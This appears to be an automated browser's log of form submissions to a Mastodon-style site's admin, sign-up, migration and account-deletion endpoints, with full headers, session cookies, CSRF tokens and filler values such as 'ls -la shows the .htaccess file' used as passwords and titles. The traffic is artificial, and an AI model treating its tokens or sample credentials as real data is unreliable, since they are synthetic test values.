{"method": "POST", "target": "/admin/warning_presets", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 244", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/warning_presets", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDk6MzEuODM5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f8810e90dc433be1ba44410b3437e4799f846c8e; _mastodon_session=P210zwPkUaA6%2BAtwOC0ML6tw5baQVDzMoW5XBvzwUoa8mOhsmIRFoMmua0tymkqis16la6U5lbxHOwi6bxNyeYfwR7bMCp%2Fw5qM65A3hvm91mzYY5Goxj8u9slwK2RFD4rTtKgd7p4G6twFNxtqMFm7bztsYLO45X%2BQUjKpUIYYYy7BYRtDZ%2Fc1LiYuWeC3Zcclw5lVd3FCcWnvHPvuVB6ur7nwUhMifJxSg7SL1JGVqpKX9Qdd5xH8zGhKXprhBdsa8KvDjIaDh6DGn54RONeug%2FSIemud7tPgiaLkYmGnpDah2s3KTT7Ppe%2F5TifuSEjHCSejv60LNx0twfNY2gFtPqYsce5EnGzHRoFP2jB16YXcid7Lg4gFyay1yrvF4p3b9%2F5Y4vM3I--nDH6F1BO8hlJfgUl--yg6Egb21lWTT2%2B4wHansgA%3D%3D"], "body": "authenticity_token=UNmH3Iq9JeGaI26nrQyuq1n4gohEYaKAzHvjESB_PJOtEPeC-Hcv3BnQM9JdCqE-RRwJF6hwUb3rxjh6Abr2Zw&account_warning_preset%5Btitle%5D=ls+-la+shows+the+.htaccess+file&account_warning_preset%5Btext%5D=ls+-la+shows+the+.htaccess+file&button="}
{"method": "POST", "target": "/admin/roles", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 567", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/roles/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDk6NDMuMTYxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c3f4be0d29e5e2d9e6660f05a178a6907b613968; _mastodon_session=H%2Fs6SGLSWeRWvoe%2B9HOgNS7MHS13%2B02UAb0hFqY5DJx6LdnnRwxA6VL%2Fky92SWuJILPbA9%2Bj46uneDuWybRSCYX01dZR9JiTDALZYWPRAO3OPDnNjl2fPexxRWn84HgHXUKiSn0F%2FH%2FEaEcBwaYb3xBH8eMIlWtIteG0sxqbmLPMmxvwBf6DF34CU0TNq3glCZG8BT2kgiN79D45I8xHYJ%2Bc6TdLhR2S0C7aZalJllvdHknfGXlrAvHDI2mjchI5oJRsSHGCKbNYT0Rb6L3vBdN61ntDc%2B4hbS6ZW7%2F5Htek%2F838uJp4s57WHka2W4fHc6%2BRXbQUbFvtNYQyXI8v7Efy4KC5d9ktQXQybBIr0SofB8THYnETw8lgFCjnkhWY0p9TBiOjs1G0--zu3JGEIWNo9aQSNI--mnDCcikLpqp7nMpkxAZyuw%3D%3D"], "body": "authenticity_token=NLy1Z6HP4BluJMMmz66ZufNuu0WbjSishNqzoBh1c-piAjb7FTZlw7lczXJKf1ussZs4wvesTzidBHF-GF6nfQ&user_role%5Bname%5D=ls+-la+shows+the+.htaccess+file&user_role%5Bposition%5D=0&user_role%5Bcolor%5D=%23000000&user_role%5Bhighlighted%5D=0&user_role%5Brequire_2fa%5D=0&user_role%5Bcollection_limit%5D=10&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&button="}
{"method": "POST", "target": "/admin/terms_of_service/draft", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 409", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/terms_of_service/draft", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDk6NTUuMTc4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--eb6aa9e80a364bfd1d739f910933894bbdb3b842; _mastodon_session=JlI%2FgpN3pO5%2FjYoEkdkHVFytCQDYr3dChjujzui6flIgJt4MY7R77kkuLUBrHQ8cQsm882UfAvpQE5K7Kn0w2sxs4k9BAtTriXP9ZzuqE2wUwKRcs5JFmNNLsRrC0yFAB2Vrqo5o6k2eEChldu8nPKeuV23qm4Y%2BiXUsNCD55rhuYDeQi7b4M0%2BxcG3MBTERYozAhTPkQ9No%2FTQCi7dceo3VE02aY7T4xhJtnZv%2F%2Fzvgb4%2BiJOyhE0mXzpr62lod8k2BS%2BdiKlKbJTtXiJmp4f0oFXjGrTskdbSts06OYQj71BEHG9XZOfPLtEHLonD%2FKgqU9aeaL3NVzD8sA49hdXAjrff90sQdu9Pu2ORzDCzWtzoOKfEb%2FvbiUsQqlgy2mQ8UCGpU%2BTbw--jXQ5qo5Mp5ft6flw--bhXHX%2FLzpIKZ1syW0vgwyQ%3D%3D"], "body": "_method=put&authenticity_token=4tJ7f31IbMnroyiCKx46gIDXWXya9jlqtvWp6pHzFTi_WggTUdhhrNNl4ccGvUUd3uk58mZKqyRFYbfuBniAbw&terms_of_service%5Btext%5D=ls+-la+shows+the+.htaccess+file&terms_of_service%5Bchangelog%5D=ls+-la+shows+the+.htaccess+file&terms_of_service%5Beffective_date%281i%29%5D=2026&terms_of_service%5Beffective_date%282i%29%5D=11&terms_of_service%5Beffective_date%283i%29%5D=20&action_type=save_draft"}
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 499", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=U48SUvi%2BQv8bl2eoC%2BWo3Src9xcYkdTucsJM%2FNz%2Fbo4o4pAyHStCaNS3bVJWVVWqR3LbIuRE9GjF2DBVFcqkNxy8KS8lvJcaJuTCFjGufDcdwGY8GljElyGd5B9lVMFrcgfpb3h8Uu66Gohfga%2FY0B50ITg3mblcuFAzDOHxd5uc9hor73%2FvRdZNCEJn7F%2F5Efc94AAIklqSBAkyM6yKRQug9ajNgLtLj%2B3BgPbBdJ2M4zJdPdxXkDkexiefv7MYCpS2s1kMxw2%2FMViwUDDna0ZOBHxHwE1WMPaW4wiXGXG9kyNVPuAERzZbhK%2Fj1f4sNG9zumNxdYZKouWc%2BqdymDmrOkacgbSa5MIMX1ptZd4laxGxQpfJBo35CtLg--Me9oz2Kua8c7MCqq--EoEPVGJHgOX%2FqrgGYqp9ZQ%3D%3D"], "body": "authenticity_token=iXEeYb_02XISojzm1HWVknPdVf33mHGJwDKyT4M4fGc3MYW4hGR5Ex27OCSLlOepfPKuhat1ydAXiZvw5EPQag&user%5Baccount_attributes%5D%5Busername%5D=river_notes&user%5Bemail%5D=river_notes%40example.com&user%5Bpassword%5D=river+walk+at+dawn&user%5Bpassword_confirmation%5D=river+walk+at+dawn&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&user%5Binvite_request_attributes%5D%5Btext%5D=ls+-la+shows+the+.htaccess+file&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
{"method": "POST", "target": "/settings/migration", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 255", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/migration", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MTA6MzAuNDk3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--84a60be99147b240cb6dccbc44040c0b739c4b43; _mastodon_session=UABRdVbMXXMFFp%2F7Z7mB6MiT9Bm1%2BYC0n%2BTfv%2BFsyoZl4IlttNmj6g3vjLC0zCFWPnIa19pqaojDLa0jq70xdLxeqpDq2ddhaH2A65FS9kP42qVkY8Ln4z9meXZPIDHJB498zA1nE0Qx%2BLkoqnM4jAUZC32oBZlSOudN4SovU4RslsocCw2n8U7SGi7UuRxLubeSW%2Fh0TSrMnh4V4SYYe6y%2BSrdtwH%2B4Q%2Fy028E3qkVzNhZ6CgoP6WUu16KqIQ67XYw7nruVCmwOgOGaIPV9sWRxoPoUnjk%2BuLFWJotAf4fwZOl2AYdHxmYhxRQTY3uxPCY10KSixTRSPMC063UueXJlMYO3GDHYGaYs7PR5mJwDbD3NIbSfkFsCANrc36s%2FQzYS0FK%2BlNwI--rOtCEEGrp2iN3ow%2F--3QR7ze5LibzMQQgiCzYJow%3D%3D"], "body": "authenticity_token=SXjx9RPA5uRxQZF-P0lkvzH3b8TFb1_-xbhUTG3jt_7Q7L_9FnX30uzFy4M01gptjMIEszogCg350z8hbEh5GA&account_migration%5Bacct%5D=carol%40remote.example&account_migration%5Bcurrent_password%5D=python3+and+powershell+scripts+that+edit+.htaccess&button="}
{"method": "POST", "target": "/settings/migration/redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 247", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/migration/redirect/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MTA6NDIuMzMwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--68c14193269c529ddc12857986a93ba1aec6b66f; _mastodon_session=nqDf8sTcJ83GaXsWMy3fYF6cRcU0LEBemdy2mJYanhadpsmOMHyM1quz2C%2B%2FIREYvrCS5cQzc5U2VBI4CMQsqqV%2BXT%2F9p1BIJanCUjECdvFZCHM%2BDSdfDPG3eGxmzGTLv56imNWp0ZwJ6KnRLlFrvONu9U1tm0QvAKPlHiS1HAPCZVyNTnArv4F53czeFfMrNFMYgbDyt%2BZE0Q0B3pv3w5mm34rFyYebbbTmKKF7k1t%2F%2BbNPzoQQDLf8dc6et4JPaN6VvphHWur8AzkUAB5IjFNbyVCbK%2BPPjeTZdECwsEj7L6a6ALpVd6uYQ%2FSBhOlYKGJGavXWeQ%2FnbTcOlX%2Bn3qvzKJSfiHEv0XtNTwB6y6XHC3ZsN0lVURVid242amjlTMDW6IaC2rwK--V51WqvLjN5pOQ7YT--ibkq8GFdvFc%2Fq5zUb0%2FTpw%3D%3D"], "body": "authenticity_token=Xw5mZPitgTJXdW8-TdNa3TYCLun8csLrDovPo_W1U0osLVwOJLJoeOhxAPuuR5khP1Ff1LmcdU27saPE65rP6Q&form_redirect%5Bacct%5D=carol%40remote.example&form_redirect%5Bcurrent_password%5D=python3+and+powershell+scripts+that+edit+.htaccess&button="}
{"method": "POST", "target": "/settings/delete", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 261", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/delete", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MTA6NTcuMDU3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--0efff5f44c8a4d5bfb20180b3cb13cacd740f286; _mastodon_session=DJi13LSLrj1ypRd1bhDih7%2FsHs5XfVCkApWaSgkam2FBv3KApyO%2Fa72cqHb2urmABoImh2pWoTctoy5UQGToDsMvRQq3LqSO2K7ZZQs3BL%2FJxR6hb9nOjkULJ1BpHDheXsVFMSSHKyJP4dRVcIaHMs8aVlpNGkPG6dVyDl1R3p1f%2FKwLF3vrzKbLwW%2B4j8jMyleto4ZgKIf1DEEouxh6UVVOx4SWTw1Yxmk0CvvNzLYzuZLSHyJyvl%2BZSYP4ucV5k4odh%2FRfryyp9PgfWHoG4DgnbAGyzi0%2BNKSuq3xGuzB0XRJ1dXoSX58eHSqNcTyEK0VEZ8xmmtpfI%2FLevNGZmfMgKQmJFiG23Nk4zUgf0vNv%2FTMbymxTrf%2F3pMlil9sFXYoYGScJ14x1--0TurehiSTwEJLmic--8WKC0Ee%2FD2%2BsaSNKpKF0tw%3D%3D"], "body": "_method=delete&authenticity_token=aCKhS0vSHmaExtu9pqM9bJqRhInsZsfvDOT3erwJeCmwdKht7B63rLdiO-zeBznqG7oHmZV-nFWz2idyDJ1vLw&form_delete_confirmation%5Busername%5D=bob&form_delete_confirmation%5Bpassword%5D=python3+and+powershell+scripts+that+edit+.htaccess&button="}
{"method": "POST", "target": "/settings/migration", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 236", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/migration", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MTE6MDQuODY4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--053251e947949cb91f6630e2389ab8db71a4cbcd; _mastodon_session=GJPgZRCfm8%2B2Jr%2BBtvi4Uzmb%2FS0HzNliy9eyg%2FsBytLnymG8378dHLgC0qF60vvzZmSEydnrUv2N2A3sXM2NbAZEJHGE%2F9aCJ8DvhWSKnfZUlTZUead%2FQnZ%2FGzmrCTDfzqH0VBEwx1eFBJsPE8iSXeZx1Rk8Kq%2FCPf3pedCTkPVlIUdopx6z2jwfsCdPVwSjwCG2YsISin7p52cI3H5c2Bvpj6YqecDmbsmTxZYOfwnN8zqgk7PCnSd1XjfmqAPMyyZ8SjgcdE9vVs0Y%2BJBG2xArvYRGmO4XfSzfVLauqH%2B%2FU29%2Bph3v%2BPnx7UCDTmlhltzeOQ0iqqJ7I0AqQyL7SBVT18rdFbYZF603xdEk0%2FlTGzGyWOL795Qfso0AQ%2FJdzfaJ%2BVMNXNJm--OgT%2FPuD%2F%2BYxTzakS--7GVODJeVXhEs0FTIO5kLIg%3D%3D"], "body": "authenticity_token=oWzo1ySenTJKxkWE3--ZxkTK-2MgpBCVifJoGwtkesY4-KbfISuMBNdCH3nUcPcU-f-QFN_rRWa1mQN2Cs-0IA&account_migration%5Bacct%5D=carol%40remote.example&account_migration%5Bcurrent_password%5D=ls+-la+shows+the+.htaccess+file&button="}
{"method": "POST", "target": "/settings/migration/redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 228", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/migration/redirect/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MTE6MTMuNTY1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b52ae42ed78ebb26ad0ec5712ec318ab6868704a; _mastodon_session=vQBJNLFgFKuCutA0r7biK376EPucsPnOWNEehfEdaMmhnPXy%2FmXFDnuasTp%2B7NHzhrZlRj8GVEeDX2qcu%2F4KR7PRYZSLcTVhYHZiheTE18bi4F8OxbWzhQ7OByoZSeAtWxfR1yRNqg%2F2QiH%2BAAMtwMfdpFa18eD2mJdVO1ZA6gzCResJET4guZTo19ZCU6ZHxVgrAdRyrd6XlsNnYOsEpOSP9ZnlFu%2F2P1gJATd3L5mf9sqvaMwOKURDFfRKXZvgknRww91GA62zoSnnR2gPApvxwZqKjIYMY04IcdDWfr%2BMnDjc4fBkBZQqEiAwsSgq0TfNqgapIG2TbFhwwG3mOoKgLKr2Bc28BB9beg26zWPExpsLfvnTZmaoS4JNi7ajcVglhRxCBScS--NMCJY3G7DTP5Wfty--vwWL%2BoM3LXJPty41J1Vpug%3D%3D"], "body": "authenticity_token=euxXZxII5Z8B9ueHrZL_oPAjadXyDHo_Ou4xbeKPzR4Jz20NzhcM1b7yiEJOBjxc-XAY6LfizZmP1F0K_KBRvQ&form_redirect%5Bacct%5D=carol%40remote.example&form_redirect%5Bcurrent_password%5D=ls+-la+shows+the+.htaccess+file&button="}
{"method": "POST", "target": "/settings/delete", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 242", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/delete", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MTE6MjkuMjI1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b4b47585b218826e926fd3ca365dbfe1fd3a0a22; _mastodon_session=hImYrelJ98PY%2F%2BEqPWWYJDnP0Tpm1T3Q67oLrhZHIlRNqQuVGeENvLTe%2FWmNr8VqGS5hojHeGyhUuJHlorXulxmTxe%2Fl6%2FRMlRgB4AlUEhGKHxEsin0O%2FScYX0hqW2gOPfk6GtBEfbkPCkv71r94d9znprr5xdPyo%2FmOEGc4rk16AKqY9JQJDhQhtzK1Dz%2Fa7dkS2JeJx6Sbrc6aOlVCS1nqNylDXjidlJNtowfCnVAVeF8QUZ94NuBqYQ%2BYEdM%2FsOgsq6WE8L2rnCfTKSEKkQ5wzu4odiOSFFb02Giv%2B1K%2FAhnpqkGK9cxlIlwLsT8wRCBYRCFPMrNDR86FW1rhokPOoHpSIyKnL%2FtmasDJfo9rhR4kQusT2Dd46DjEH7jNLNcheA8%2F5mDL--2o%2F8bYD6srmF1Gxe--OZU8Fw9NAUDRzOYmPqaxSQ%3D%3D"], "body": "_method=delete&authenticity_token=aUVriOgEE0wC9HCytvZMiXnrX5aNNCPPlQdUPUwmAESxE2KuT8i6hjFQkOPOUkgP-MDchvQseHUqOYQ1_LIXQg&form_delete_confirmation%5Busername%5D=bob&form_delete_confirmation%5Bpassword%5D=ls+-la+shows+the+.htaccess+file&button="}
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 548", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=pbANYcsmJSK7W1xSib4jkWB2fU2FYmc82mEC3IYpKdyFP8YDl4%2BaM2nGl7xQDAR5n%2FECzMLb0DlPLdGNld0yOUY%2Fc2T9fApszmiH4vpWFWwSAOw0I1zaIQdhXCkgtSCLTeKN6i6isRZ8v92%2FWYp3Nfn%2FhkXsRBtZJAv39yHrhq%2BeiCkJZBRhCroiHKw7yYWUEmtNG6BGvuMQJLgqJU74diNAPdW1vv3GLkBK7F%2Bx%2F0dLxJ23AlO9L8wnDqPcRMVWJiCW%2FWM1xOPV7vj81hw33yTbwgEbrk%2BylQ5RP0VCdDX6aOUivQpEqgvMqSLALbPavDsHtRZyqIp92q%2BCBVZl52NxcitBHop2KhI3nO32dvgJ1FkCekIP8EBBYUKF--LuPI%2BAk9nyZT66Bl--lCqK1dq3PjHBUHGZICcwcw%3D%3D"], "body": "authenticity_token=WbXeHEIg1quzaZbSHd_3CQmtuXVCrg1MwS00gGTNkxqJcZCzaMrkoUtTmfEQ1DICXRj051Ngdo95CreQAFRBHg&user%5Baccount_attributes%5D%5Busername%5D=morning_walks&user%5Bemail%5D=morning_walks%40example.com&user%5Bpassword%5D=ls+-la+shows+the+.htaccess+file&user%5Bpassword_confirmation%5D=ls+-la+shows+the+.htaccess+file&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&user%5Binvite_request_attributes%5D%5Btext%5D=python3+and+powershell+scripts+that+edit+.htaccess&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
